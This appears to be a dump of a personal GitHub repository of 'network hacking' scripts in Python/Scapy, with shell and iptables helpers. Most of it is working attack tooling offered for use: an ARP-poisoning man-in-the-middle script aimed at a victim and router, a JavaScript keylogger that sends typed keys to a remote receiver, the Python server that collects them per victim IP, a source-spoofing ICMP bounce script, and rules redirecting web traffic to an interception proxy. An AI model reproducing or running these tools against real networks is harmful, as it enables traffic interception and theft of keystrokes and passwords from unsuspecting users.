├── transparent_proxy_off.sh ├── ip_forward_off.sh ├── ip_forward_on.sh ├── README.md ├── transparent_proxy_on.sh ├── iptables ├── iptables_transparent_proxy.sh ├── iptables_open_rules.txt └── iptables_transparent_proxy.txt ├── js_keylogger ├── js_keylogger.js ├── example.html └── js_keylogger_receiver.py ├── scapy-ping-bounce.py ├── scapy-summary.py ├── scapy-arpprobe.py ├── scapy-arping.py ├── .gitignore ├── LICENSE ├── watch-network-devices.py └── scapy-arpspoof.py /transparent_proxy_off.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | iptables -t nat -F 3 | 4 | -------------------------------------------------------------------------------- /ip_forward_off.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo 0 > /proc/sys/net/ipv4/ip_forward 3 | -------------------------------------------------------------------------------- /ip_forward_on.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo 1 > /proc/sys/net/ipv4/ip_forward 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # scapy-network-tools 2 | 3 | Simple network hacking scripts written mostly in Python/Scapy. 4 | 5 | These are mostly for my personal convenience/fun :) 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /transparent_proxy_on.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080 3 | iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080 4 | 5 | -------------------------------------------------------------------------------- /iptables/iptables_transparent_proxy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080 3 | iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080 4 | -------------------------------------------------------------------------------- /iptables/iptables_open_rules.txt: -------------------------------------------------------------------------------- 1 | # Generated by iptables-save v1.3.5 on Thu Jan  1 04:02:14 1970 2 | *filter 3 | :INPUT ACCEPT [529:62715] 4 | :FORWARD ACCEPT [0:0] 5 | :OUTPUT ACCEPT [501:61335] 6 | COMMIT 7 | # Completed on Thu Jan  1 04:02:14 1970 8 | -------------------------------------------------------------------------------- /iptables/iptables_transparent_proxy.txt: -------------------------------------------------------------------------------- 1 | # Generated by iptables-save v1.4.21 on Fri Mar 4 21:07:59 2016 2 | *nat 3 | :PREROUTING ACCEPT [0:0] 4 | :INPUT ACCEPT [0:0] 5 | :OUTPUT ACCEPT [0:0] 6 | :POSTROUTING ACCEPT [0:0] 7 | -A PREROUTING -i wlan0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080 8 | -A PREROUTING -i wlan0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8080 9 | COMMIT 10 | # Completed on Fri Mar 4 21:07:59 2016 11 | -------------------------------------------------------------------------------- /js_keylogger/js_keylogger.js: -------------------------------------------------------------------------------- 1 | var buf = []; 2 | var keylogUrl = 'http://127.0.0.1:9876/?q=' 3 | 4 | document.onkeypress = function(e) { 5 | var key = String.fromCharCode(e.key | e.keyCode | e.charCode); 6 | buf.push(key); 7 | } 8 | 9 | window.setInterval(function() { 10 | if (buf.length > 0) { 11 | var data = encodeURIComponent(buf.join('')); 12 | new Image().src = keylogUrl + data; 13 | buf = []; 14 | } 15 | }, 200); 16 | -------------------------------------------------------------------------------- /scapy-ping-bounce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | from scapy.all import * 5 | 6 | 7 | if __name__ == '__main__': 8 | try: 9 | bounce_ip = sys.argv[1] 10 | target_ip = sys.argv[2] 11 | payload = sys.argv[3] 12 | 13 | # Makes an ICMP Request to bounce_ip, with a forged source IP of target_ip, which 14 | # will cause bounce_ip to send an ICMP reply to target_ip, copying the payload. 15 | send(IP(src=target_ip, dst=bounce_ip)/ICMP()/Raw(payload.encode('UTF-8'))) 16 | 17 | except IndexError: 18 | print("Usage: {} ".format(sys.argv[0])) 19 | sys.exit(1) 20 | 21 | 22 | -------------------------------------------------------------------------------- /js_keylogger/example.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 9 | 10 | 11 | Hey there 12 | 13 | 14 | 15 | 32 | -------------------------------------------------------------------------------- /scapy-summary.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | from scapy.all import * 5 | 6 | 7 | def sniff_arpprobe(interface, host=None): 8 | filter_str = '' 9 | if host: 10 | filter_str = 'host {}'.format(host) 11 | try: 12 | sniff(iface=interface, filter=filter_str, prn=lambda p: p.summary(), store=0) 13 | except KeyboardInterrupt: 14 | pass 15 | 16 | 17 | if __name__ == '__main__': 18 | parser = argparse.ArgumentParser() 19 | parser.add_argument('-i', '--interface', type=str, dest='interface', default='wlan0', 20 | help='Network interface to use') 21 | parser.add_argument('-t', '--target', type=str, dest='target', 22 | help='Target host to sniff') 23 | args = parser.parse_args() 24 | print('Sniffing on interface: {}'.format(args.interface)) 25 | sniff_arpprobe(args.interface, args.target) 26 | 27 | -------------------------------------------------------------------------------- /scapy-arpprobe.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Code from: http://bit.ly/1JwUPiM 4 | 5 | import argparse 6 | from scapy.all import * 7 | 8 | 9 | def arp_display(pkt): 10 | if pkt[ARP].op == 1: #who-has (request) 11 | if pkt[ARP].psrc == '0.0.0.0': # ARP Probe 12 | print("ARP Probe from: " + pkt[ARP].hwsrc) 13 | 14 | 15 | def sniff_arpprobe(interface): 16 | try: 17 | sniff(iface=interface, prn=arp_display, filter="arp", store=0) 18 | except KeyboardInterrupt: 19 | pass 20 | 21 | 22 | if __name__ == '__main__': 23 | parser = argparse.ArgumentParser() 24 | parser.add_argument('-i', '--interface', type=str, dest='interface', default='wlan0', 25 | help='Network interface to use') 26 | args = parser.parse_args() 27 | print('Sniffing for ARP Probe packets on interface: {}'.format(args.interface)) 28 | sniff_arpprobe(args.interface) 29 | 30 | -------------------------------------------------------------------------------- /scapy-arping.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import argparse 5 | from scapy.all import * 6 | 7 | 8 | def get_mac(ip, interface): 9 | result = '' 10 | arp_request = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip) 11 | ans, unans = srp(arp_request, timeout=2, iface=interface) 12 | if ans: 13 | first_response = ans[0] 14 | req, res = first_response 15 | result = res.getlayer(Ether).src 16 | 17 | return result 18 | 19 | 20 | if __name__ == '__main__': 21 | parser = argparse.ArgumentParser() 22 | parser.add_argument('victim_ip', type=str, 23 | help='IP of the host you want to arp ping') 24 | parser.add_argument('-i', '--interface', type=str, dest='interface', default='wlan0', 25 | help='Network interface to use') 26 | args = parser.parse_args() 27 | print("IP {} = MAC {}".format(args.victim_ip, get_mac(args.victim_ip, args.interface))) 28 | 29 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .coverage.* 41 | .cache 42 | nosetests.xml 43 | coverage.xml 44 | *,cover 45 | 46 | # Translations 47 | *.mo 48 | *.pot 49 | 50 | # Django stuff: 51 | *.log 52 | 53 | # Sphinx documentation 54 | docs/_build/ 55 | 56 | # PyBuilder 57 | target/ 58 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Caleb Madrigal 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /watch-network-devices.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import dnslib 4 | import argparse 5 | from scapy.all import * 6 | 7 | try: 8 | from termcolor import colored 9 | except ImportError: 10 | colored = lambda msg, color: msg 11 | 12 | 13 | def show_packet(pkt): 14 | if ARP in pkt: 15 | print(pkt.summary()) 16 | 17 | if pkt[ARP].op == 1: #who-has (request) 18 | if pkt[ARP].psrc == '0.0.0.0': # ARP Probe 19 | print(colored('\tARP Probe from: ' + pkt[ARP].hwsrc, 'red')) 20 | elif UDP in pkt: 21 | print(repr(pkt)) 22 | 23 | # Try to show mDNS info 24 | try: 25 | raw_load = pkt.getlayer(3).load 26 | dns_parsed = dnslib.DNSRecord.parse(raw_load) 27 | if dns_parsed.header.ar > 0: 28 | mdns_name = [i.rname for i in dns_parsed.ar] 29 | print(colored('\tmDNS Name: {}'.format(repr(mdns_name)), 'red')) 30 | except Exception as e: 31 | print('ERROR: {}'.format(e)) 32 | else: 33 | print(repr(pkt)) 34 | 35 | 36 | def watch_network(interface): 37 | try: 38 | sniff(iface=interface, prn=show_packet, filter="arp or (udp port 53) or (udp port 5353)", store=0) 39 | except KeyboardInterrupt: 40 | pass 41 | 42 | 43 | if __name__ == '__main__': 44 | parser = argparse.ArgumentParser() 45 | parser.add_argument('-i', '--interface', type=str, dest='interface', default='wlan0', 46 | help='Network interface to use') 47 | args = parser.parse_args() 48 | print('Sniffing on interface: {}'.format(args.interface)) 49 | watch_network(args.interface) 50 | 51 | -------------------------------------------------------------------------------- /js_keylogger/js_keylogger_receiver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | from http.server import BaseHTTPRequestHandler, HTTPServer 5 | from urllib.parse import unquote 6 | 7 | try: 8 | from termcolor import colored 9 | except ImportError: 10 | colored = lambda msg, color: msg 11 | 12 | DEFAULT_HOST = '127.0.0.1' 13 | DEFAULT_PORT = 9876 14 | DEFAULT_OUTPUT = 'keylog.txt' 15 | 16 | 17 | class KeyloggerReceiver(BaseHTTPRequestHandler): 18 | ip_to_text = {} # ip -> 'logged text' 19 | 20 | def process_keylog_data(self, logged_text, source_ip): 21 | if source_ip not in self.ip_to_text: 22 | prev = '' 23 | else: 24 | prev = self.ip_to_text[source_ip] 25 | 26 | # Fix newline chars 27 | logged_text = logged_text.replace('\r', '\n') 28 | 29 | print('Data from {}: {}{}\n'.format(self.client_address[0], prev, colored(logged_text, 'green'))) 30 | self.ip_to_text[source_ip] = prev + logged_text 31 | 32 | # Write full logged messages to log file 33 | with open(DEFAULT_OUTPUT, 'w') as f: 34 | for ip in self.ip_to_text.keys(): 35 | f.write('='*80 + '\nHOST {}: {}\n'.format(ip, self.ip_to_text[ip])) 36 | 37 | def do_GET(self): 38 | self.send_response(200) 39 | self.send_header("Content-type", "image/png") 40 | self.end_headers() 41 | 42 | source_ip = self.client_address[0] 43 | try: 44 | logged_text = unquote(self.path.split('=')[1]) 45 | self.process_keylog_data(logged_text, source_ip) 46 | except Exception as e: 47 | print('Error: {}'.format(e)) 48 | 49 | self.wfile.write(bytes("1337", "utf-8")) 50 | 51 | def log_message(self, format, *args): 52 | # Suppress normal server log messages 53 | return 54 | 55 | 56 | def main(): 57 | parser = argparse.ArgumentParser() 58 | parser.add_argument('-s', '--server-host', type=str, dest='server_host', default=DEFAULT_HOST, 59 | help='IP or hostname to bind the server socket to') 60 | parser.add_argument('-p', '--port', type=int, dest='port', default=DEFAULT_PORT, 61 | help='Port to bind the server socket to') 62 | args = parser.parse_args() 63 | 64 | keylogger_receiver = HTTPServer((args.server_host, args.port), KeyloggerReceiver) 65 | try: 66 | keylogger_receiver.serve_forever() 67 | except KeyboardInterrupt: 68 | pass 69 | finally: 70 | keylogger_receiver.server_close() 71 | 72 | if __name__ == '__main__': 73 | main() 74 | 75 | -------------------------------------------------------------------------------- /scapy-arpspoof.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import time 5 | import argparse 6 | 7 | # Disable scapy startup warnings 8 | import logging 9 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 10 | from scapy.all import * 11 | 12 | 13 | def arp_reply(dest_ip, src_ip, mac, count=1): 14 | print("Telling {} that {} is at {}".format(src_ip, dest_ip, mac)) 15 | ARP_REPLY_CODE = 2 16 | arp = ARP(op=ARP_REPLY_CODE, psrc=src_ip, pdst=dest_ip, hwdst=mac) 17 | send(arp, verbose=False, count=count) 18 | 19 | 20 | def get_mac(ip): 21 | mac = None 22 | arp_request = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip) 23 | ans, unans = srp(arp_request, timeout=2, verbose=False) 24 | if ans: 25 | first_response = ans[0] 26 | req, res = first_response 27 | mac = res.getlayer(Ether).src 28 | 29 | return mac 30 | 31 | 32 | def get_ip_mac_map(ip_list): 33 | ip_to_mac_map = {} 34 | for ip in ip_list: 35 | ip_to_mac_map[ip] = get_mac(ip) 36 | 37 | return ip_to_mac_map 38 | 39 | 40 | def set_ip_forwarding(ip_forwarding): 41 | with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf: 42 | if ip_forwarding: 43 | ipf.write('1\n') 44 | else: 45 | ipf.write('0\n') 46 | 47 | 48 | def arp_spoof(ip1, ip2, mac, interval=10): 49 | print("ARP Poisoning {} and {} with mac: {}".format(ip1, ip2, mac)) 50 | while 1: 51 | arp_reply(ip1, ip2, mac) 52 | arp_reply(ip2, ip1, mac) 53 | print("Sleeping for {} seconds\n".format(interval)) 54 | time.sleep(interval) 55 | 56 | 57 | def do_mitm(victim_ip, router_ip, network_interface, interval): 58 | # Get MAC of this computer 59 | mac = get_if_hwaddr(network_interface) 60 | 61 | original_macs = get_ip_mac_map([router_ip, victim_ip]) 62 | print("Interface: {}".format(network_interface)) 63 | print("Victim ({}) mac: {}".format(victim_ip, original_macs[victim_ip])) 64 | print("Router ({}) mac: {}".format(router_ip, original_macs[router_ip])) 65 | 66 | set_ip_forwarding(True) 67 | try: 68 | arp_spoof(router_ip, victim_ip, mac, interval) 69 | except KeyboardInterrupt: 70 | pass 71 | finally: 72 | # Restore original mappings 73 | print("Restoring original macs...") 74 | arp_reply(router_ip, victim_ip, original_macs[victim_ip], count=3) 75 | arp_reply(victim_ip, router_ip, original_macs[router_ip], count=3) 76 | time.sleep(1) 77 | arp_reply(router_ip, victim_ip, original_macs[victim_ip], count=3) 78 | arp_reply(victim_ip, router_ip, original_macs[router_ip], count=3) 79 | 80 | set_ip_forwarding(False) 81 | print("Done") 82 | 83 | 84 | def main(): 85 | parser = argparse.ArgumentParser() 86 | parser.add_argument('victim_ip', type=str, 87 | help='IP of the host you want to MITM (router found automatically)') 88 | parser.add_argument('-r', '--router-ip', type=str, dest='router_ip', 89 | help='IP of the router. If not given, it is guessed from the victim ip') 90 | parser.add_argument('-i', '--interface', type=str, dest='interface', default='wlan0', 91 | help='Network interface to use') 92 | parser.add_argument('-s', '--sleep', type=int, dest='sleep', default=1, 93 | help='Network interface to use') 94 | args = parser.parse_args() 95 | 96 | if not args.router_ip: 97 | # Assume the router is x.y.z.1 98 | args.router_ip = '.'.join(args.victim_ip.split('.')[0:3])+'.1' 99 | 100 | do_mitm(args.victim_ip, args.router_ip, args.interface, args.sleep) 101 | 102 | 103 | if __name__ == '__main__': 104 | main() 105 | 106 | --------------------------------------------------------------------------------